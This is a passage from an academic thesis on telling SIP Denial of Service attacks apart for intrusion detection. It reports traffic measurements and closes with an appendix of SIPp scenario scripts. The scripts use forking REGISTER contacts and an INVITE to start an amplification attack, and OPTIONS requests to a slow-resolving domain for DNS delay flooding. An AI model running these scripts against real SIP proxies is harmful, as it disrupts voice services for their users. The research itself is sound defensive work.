sponses drifting apart which is typical of all DoS attacks. This typical behaviour can be

seen both for the Amplification and the DNS Delay attack.

Unfortunately those graphs do not help us to distinguish between both attacks. We

therefore focus on further traffic characteristics between various SIP network components:

proxy-to-proxy traffic and UA-to-proxy traffic for the Amplification attack and proxy-to-
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Figure 6.2: DNS Delay Flooding Attack - requests vs. responses

DNS traffic for our DNS Delay Flooding attack.

At first we compare proxy-to-proxy traffic of both attacks. The highly increased amount

of requests for the Amplification attack as shown in figure 6.3 was expected due to the

fact that the initial attack request is forked into more and more requests every time the

message is received and forwarded by a proxy server. After about 40 seconds the effect of

this attack seems to wear off due to timeouts of the INVITE requests. Usually, having set

the Max-Forwards header to its default value of 70 for both the message and the proxy’s

config file, this attack would have lasted much longer [6]. For our experiment on the other

hand, this counter was only set to 10. This way the sum of all malicious INVITE requests
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Figure 6.3: Amplification attack - proxy-to-proxy traffic

was limited to a maximum amount of 211 − 1 messages at any point of time. Our timeout

value was set to 32 seconds, the default value. Assuming that it takes at least some seconds

to create this massive amount of request messages and considering the fact that the proxy

is already under heavy attack before this number is reached it makes perfectly sense that

the attack wears off after about 40 seconds. The increasing number of requests after that

point of time is the proxy trying to process piled up requests which were received while it

had been under attack.

Responses on the other hand drop immediately after our attack started. Even after the

attack itself wore off the response count stays below its baseline of 50 responses per second.



6.2. EXPERIMENT RESULTS 41

Figure 6.4: DNS Delay Flooding Attack - proxy-to-proxy traffic

So, although the actual attack is over the proxy’s resources are still heavily strained.

The proxy-to-proxy traffic for the DNS Delay Flooding attack (figure 6.4) on the other

hand looks very different. All graphs, whether they show requests or responses, are very

unsteady. There are peaks and valleys which are caused by piled up requests due to the

delayed DNS requests. However, requests and responses hold up more or less, there is

almost no difference between both graphs for a certain attack frequency. So all requests

issued by our victim proxy are responded to in time.

Concerning UA-to-proxy traffic figures 6.5 and 6.6 show the corresponding results. Both

Amplification and DNS Delay Flooding attack show highly reduced responses. They drop
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Figure 6.5: Amplification attack - UA-to-proxy traffic

to a fifth of the baseline (50 messages per second, only legal traffic and no attack) for

the Amplification attack and to zero for the DNS Delay Flooding attack even if there are

some peaks where the proxy server tries to process the piled up requests before new attack

messages arrive.

As for the request behaviour both attacks seem to show different results: The request

count of the Amplification attack dropped below the baseline whereas the request count of

the DNS Delay Flooding attack is slightly increased. This additional amount of requests

for the DNS Delay Flooding attack equals exactly the various attack frequencies. The

Amplification attack on the other hand had such a massive effect on our victim proxy that
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Figure 6.6: DNS Delay Flooding Attack - UA-to-proxy traffic

the proxy itself denied incoming requests as shown in figure 6.5. Certainly, the user agent

keeps sending 50 messages per second but since we measured all traffic at our victim proxy

the graphs only shows requests that were received by that proxy - which is only about 60%

of the original amount.

Finally there is the pending question about the delayed DNS responses of our DNS

Delay Flooding attack. We know that all DNS lookups having a hard2resolve within their

name are delayed for 5 seconds before our DNS server issues the response which leads

to increased average times (secondary y-axis) for lookup completion. Whenever there are

attack messages to be processed the number of completed lookups (primary y-axis) is
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dropping as figure 6.7 shows. This makes sense because of the proxy’s resources being

occupied by the malicious messages which keep it from processing legitimate messages.

The average response time on the other hand is not sufficient to decide whether a DNS

Delay Flooding attack is going on or not.

Figure 6.7: DNS Delay Flooding Attack - standard deviation of response times

If we imagine an attack against a DNS server itself instead of a DNS Delay Flood the

consequences could be very similar. Assuming this attack would delay DNS response times,

all SIP calls would be delayed because of the delayed DNS lookup, which then leads to an

increased average value for the DNS response time. To distinguish between those attacks

we graphed another function in figure 6.7: the standard deviation (secondary y-axis). For
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the attack against the DNS server the standard deviation should be quite low because of all

responses being delayed. For our DNS Delay Flooding attack on the other hand, only some

responses are delayed, the hard-to-resolve ones. Therefore the standard deviation should

be very unsteady: high when there were malicious attacks and low when there were lots

of legitimate messages. This is exactly what the figure shows. Unfortunately we cannot

compare this graph to the Amplification attack data because we ran that attack within a

local network using fixed IP addresses and had no need for using a DNS server for address

resolution.

6.3 Summary

Comparing both our experiments’ results and thoughts about the first order logic state-

ments we gave for these two attacks in section 4.4 we can conclude that those experiments

proved our thoughts to be quite accurate. Of course, that is only the case for the two

kinds of attacks we simulated, there were three other Denial of Service attacks we did not

examine in more detail. In addition to that we have not been able to provide a set of

statements to describe the Malformed Message attack sufficiently. Therefore one has to

keep in mind that further research is needed to prove or disprove our proposed ontology

and the accompanying first order logic.





Chapter 7

Conclusion and Future Work

In this thesis we have discussed Denial of Service attacks against SIP proxy servers by

exploiting shortcomings of the Session Initiation Protocol, and the influence they had on

the networking flow. We furthermore introduced the formal concept of an ontology as a

means for knowledge representation and sharing. This could be used by distinct systems

and enable them to work together based on the previously defined shared vocabulary and

knowledge. The area of application for ontologies we discussed in this thesis are Intrusion

Detection Systems and the lack of common IDS to distinguish different types of DoS

attacks. This is the reason why we attempted to follow another approach: distinguishing

DoS attacks based on their typical traffic characteristics with the help of our proposed

ontology and accompanying first order logic.

The main conclusions of this thesis are:

• It is much more difficult to distinguish between DoS attacks than to detect the presence

of a DoS attack against a system. Based on the number of existing research papers a

lot more countermeasures for several DoS attacks have been explored. Although all

of those countermeasures consider possible performance loss. The performance of the

system would be drastically reduced by implementing all countermeasures at once.

Another problem is the simultaneous activation of different countermeasures as they
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might influence each other which leads to unexplored consequences for the system.

• Distinguishing between INVITE and Malformed Message Flooding attack is imprac-

tical without deep packet inspection. The proxy server receives more requests than

it can handle for both kinds of attacks. The easiest solution would be to block all

incoming requests from the malicious source. Discovering the source is not hard once

an attack has been detected, but to discover whether our system is exposed to either

an INVITE or Malformed Message Flooding attack, deep packet inspection is needed

to check for the request method or a request’s content.

• Creating an ontology is a long and difficult procedure. A formal description cannot

be invented overnight. Further research is needed to explore and discover traffic

behaviour and the influence of further traffic on the network. All interactions between

main network components need to be taken into account.

Future Work will include both further research on typical DoS attack traffic charac-

teristics to prove and improve our proposed ontology as well as the implementation of a

prototype ontology. Where further research should lead to a more theoretical foundation,

the prototype implementation would provide more practical insight into important metrics

such as detection rate and false negatives or positives.
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Appendix A

Attacking Scripts

A.1 Amplification Attack

A.1.1 Registration

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP REGISTER Request">
<!-- REGISTER request of dwarf Grumpy -->

<send >
<![CDATA[

REGISTER sip:grumpy@193 .11.155.123 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.123:5063
To: grumpy <sip:grumpy@193 .11.155.123 >; tag=[ call_number]
From: grumpy <sip:grumpy@193 .11.155.123 >; tag=[ call_number]
Contact: sneezy <sip:sneezy@193 .11.155.93 >[ peer_tag_param],

dopey <sip:dopey@193 .11.155.93 >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 REGISTER
Max -Forwards: 70
Expires: 3600
Content -Length: 0

]]>
</send >

</scenario >

Figure A.1: Registration of Grumpy at proxy server 193.11.155.123 (Forest)
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<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP REGISTER Request">
<!-- REGISTER request of dwarf Happy -->

<send >
<![CDATA[

REGISTER sip:happy@193 .11.155.123 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.123:5062
To: happy <sip:happy@193 .11.155.123 >; tag=[ call_number]
From: happy <sip:happy@193 .11.155.123 >; tag=[ call_number]
Contact: sneezy <sip:sneezy@193 .11.155.93 >[ peer_tag_param],

dopey <sip:dopey@193 .11.155.93 >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 REGISTER
Max -Forwards: 70
Expires: 3600
Content -Length: 0

]]>
</send >

</scenario >

Figure A.2: Registration of Happy at proxy server 193.11.155.123 (Forest)

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP REGISTER Request">
<!-- REGISTER request of dwarf Dopey -->

<send >
<![CDATA[

REGISTER sip:dopey@193 .11.155.93 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.93:5063
To: dopey <sip:dopey@193 .11.155.93 >; tag=[ call_number]
From: dopey <sip:dopey@193 .11.155.93 >; tag=[ call_number]
Contact: grumpy <sip:grumpy@193 .11.155.123 >[ peer_tag_param],

happy <sip:happy@193 .11.155.123 >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 REGISTER
Max -Forwards: 70
Expires: 3600
Content -Length: 0

]]>
</send >

</scenario >

Figure A.3: Registration of Dopey at proxy server 193.11.155.93 (Mine)
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<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP REGISTER Request">
<!-- REGISTER request of dwarf Sneezy -->

<send >
<![CDATA[

REGISTER sip:sneezy@193 .11.155.93 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.93:5062
To: sneezy <sip:sneezy@193 .11.155.93 >; tag=[ call_number]
From: sneezy <sip:sneezy@193 .11.155.93 >; tag=[ call_number]
Contact: grumpy <sip:grumpy@193 .11.155.123 >[ peer_tag_param],

happy <sip:happy@193 .11.155.123 >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 REGISTER
Max -Forwards: 70
Expires: 3600
Content -Length: 0

]]>
</send >

</scenario >

Figure A.4: Registration of Sneezy at proxy server 193.11.155.93 (Mine)

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP REGISTER Request">
<!-- REGISTER request of Prince Charming -->

<send >
<![CDATA[

REGISTER sip:princecharming@193 .11.155.123 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.123:5061
To: princecharming <sip:princecharming@193 .11.155.123 >;

tag=[ call_number]
From: princecharming <sip:princecharming@193 .11.155.123 >;

tag=[ call_number]
Contact:<sip:princecharming@193 .11.155.123:5061 >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 REGISTER
Max -Forwards: 70
Expires: 1800
Content -Length: 0

]]>
</send >

</scenario >

Figure A.5: Registration of Prince Charming at proxy server 193.11.155.123 (Forest)



54 APPENDIX A. ATTACKING SCRIPTS

A.1.2 Legal Traffic

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name=" Basic Sipstone UAC">

<send >
<![CDATA[

INVITE sip:[ service]@[remote_ip ]:[ remote_port] SIP /2.0
Via: SIP /2.0/[ transport] [local_ip ]:[ local_port ]; branch =[ branch]
From: sipp <sip:sipp@[local_ip ]:[ local_port ]>;tag=[ call_number]
To: sut <sip:[ service]@[remote_ip ]:[ remote_port]>
Call -ID: [call_id]
CSeq: 1 INVITE
Contact: sip:sipp@[local_ip ]:[ local_port]
Max -Forwards: 70
Subject: Performance Test
Content -Type: application/sdp
Content -Length: [len]

]]>
</send >
<recv response ="100" optional ="true">
</recv >
<recv response ="180" optional ="true">
</recv >
<recv response ="200" rtd="true">
</recv >
<send >

<![CDATA[
ACK sip:[ service]@[remote_ip ]:[ remote_port] SIP /2.0
Via: SIP /2.0/[ transport] [local_ip ]:[ local_port ]; branch =[ branch]
From: sipp <sip:sipp@[local_ip ]:[ local_port ]>;tag=[ call_number]
To: sut <sip:[ service]@[remote_ip ]:[ remote_port ]>[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 ACK
Contact: sip:sipp@[local_ip ]:[ local_port]
Max -Forwards: 70
Subject: Performance Test
Content -Length: 0

]]>
</send >
<send retrans ="500" >

<![CDATA[
BYE sip:[ service]@[remote_ip ]:[ remote_port] SIP /2.0
Via: SIP /2.0/[ transport] [local_ip ]:[ local_port ]; branch =[ branch]
From: sipp <sip:sipp@[local_ip ]:[ local_port ]>;tag=[ call_number]
To: sut <sip:[ service]@[remote_ip ]:[ remote_port ]>[ peer_tag_param]
Call -ID: [call_id]
CSeq: 2 BYE
Contact: sip:sipp@[local_ip ]:[ local_port]
Max -Forwards: 70
Subject: Performance Test
Content -Length: 0

]]>
</send >
<recv response ="200" crlf="true">
</recv >

</scenario >

Figure A.6: SIPp uac.xml, acting as snowwhite@Forest, talking to princecharming@Mine
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<?xml version ="1.0" encoding ="ISO -8859 -1" ?>

<scenario name=" Basic UAS responder">

<recv request =" INVITE" crlf="true">

</recv >

<send >

<![CDATA[

SIP /2.0 180 Ringing

[last_Via :]

[last_From :]

[last_To :]

[last_Call -ID:]

[last_CSeq :]

Contact: <sip :193.11.155.123:5061; transport =[ transport]>

Content -Length: 0

]]>

</send >

<send >

<![CDATA[

SIP /2.0 200 OK

[last_Via :]

[last_From :]

[last_To :]

[last_Call -ID:]

[last_CSeq :]

Contact: <sip :193.11.155.123:5061; transport =[ transport]>

Content -Length: 0

]]>

</send >

<recv request ="ACK" rtd="true" optional ="true" crlf="true">

</recv >

<recv request ="BYE">

</recv >

<send >

<![CDATA[

SIP /2.0 200 OK

[last_Via :]

[last_From :]

[last_To :]

[last_Call -ID:]

[last_CSeq :]

Contact: <sip :193.11.155.123:5061; transport =[ transport]>

Content -Length: 0

]]>

</send >

</scenario >

Figure A.7: SIPp uas.xml, acting as princecharming@Mine, talking to snowwhite@Forest
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A.1.3 Attack Initiation

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name="SIP INVITE Request">
<!-- REGISTER request of Prince Charming -->

<send >
<![CDATA[

INVITE sip:happy@193 .11.155.123 SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.93:5063
To: happy <sip:happy@193 .11.155.123 >; tag=[ call_number]
From: dopey <sip:dopey@193 .11.155.93 >; tag=[ call_number]
Call -ID: [call_id]
CSeq: 1 INVITE
Max -Forwards: 70
Content -Length: 0

]]>
</send >

</scenario >

Figure A.8: Attack Initiation: sending INVITE request to Happy@Forest

A.2 DNS Delay Flooding Attack

A.2.1 Legal Traffic

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name=" OPTIONS legal traffic">
<!-- OPTIONS request sent to list of remote servers -->

<send >
<![CDATA[

OPTIONS sip:[ field0 ]:[ remote_port] SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.93:5061
From: sipp <sip:@[local_ip ]:[ local_port ]>;tag=[ call_number]
To: sut <sip:[ field0 ]:[ remote_port ]>[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 OPTIONS
Contact: <sip:sipp@193 .11.155.93:5061 >
Max -Forwards: 70
Accept: application/sdp
Content -Length: 0

]]>
</send >

</scenario >

Figure A.9: Script to send legal OPTIONS requests to a list of 35 remote SIP servers
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calamar0.nikotel.com
callcentric.com
iphone.freenet.de
iptel.org
sip.1und1.de
sip.axvoice.com
sip.broadvoice.com
sip.callclarity.net
sip.callip.org
sip.camundanet.com
sipdr.quantumvoice-sip.com
sip.freeipcall.com
sip.gafachi.com
sip-gmx.net
sip.gmx.net
sip.iptel.org
sip.net2phone.com
sipnumber.net
sip.peoplecall.com
sip.quadnetworks.com.ar
sip.schlund.de
sip.sipphone.co.th
sip.sipservice.eu
sip.skysiptel.com
sip.stanaphone.com
sip.televoip.no
sip.vodini.com
sip.voipfone.co.uk
sip.vyke.com
sip.webphone.com
vbuzzer.com
Voip-co2.teliax.com
voip.eutelia.it
voxalot.com
voztele.com

Figure A.10: list of remote SIP servers
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A.2.2 Attack Initiation

<?xml version ="1.0" encoding ="ISO -8859 -1" ?>
<scenario name=" OPTIONS attack">
<!-- OPTIONS request sent to sip.hard2resolve -->

<send >
<![CDATA[

OPTIONS sip:sip.hard2resolve SIP /2.0
Via: SIP /2.0/[ transport] 193.11.155.93:5062
From: sipp <sip:@[local_ip ]:[ local_port ]>;tag=[ call_number]
To: sut <sip:sip.hard2resolve >[ peer_tag_param]
Call -ID: [call_id]
CSeq: 1 OPTIONS
Contact: <sip:sipp@193 .11.155.93:5062 >
Max -Forwards: 70
Accept: application/sdp
Content -Length: 0

]]>
</send >
<recv response ="100" optional ="true">
</recv >
<recv response ="180" optional ="true">
</recv >
<recv response ="200" >
</recv >

</scenario >

Figure A.11: Script to send OPTIONS requests to a hard-to-resolve domain
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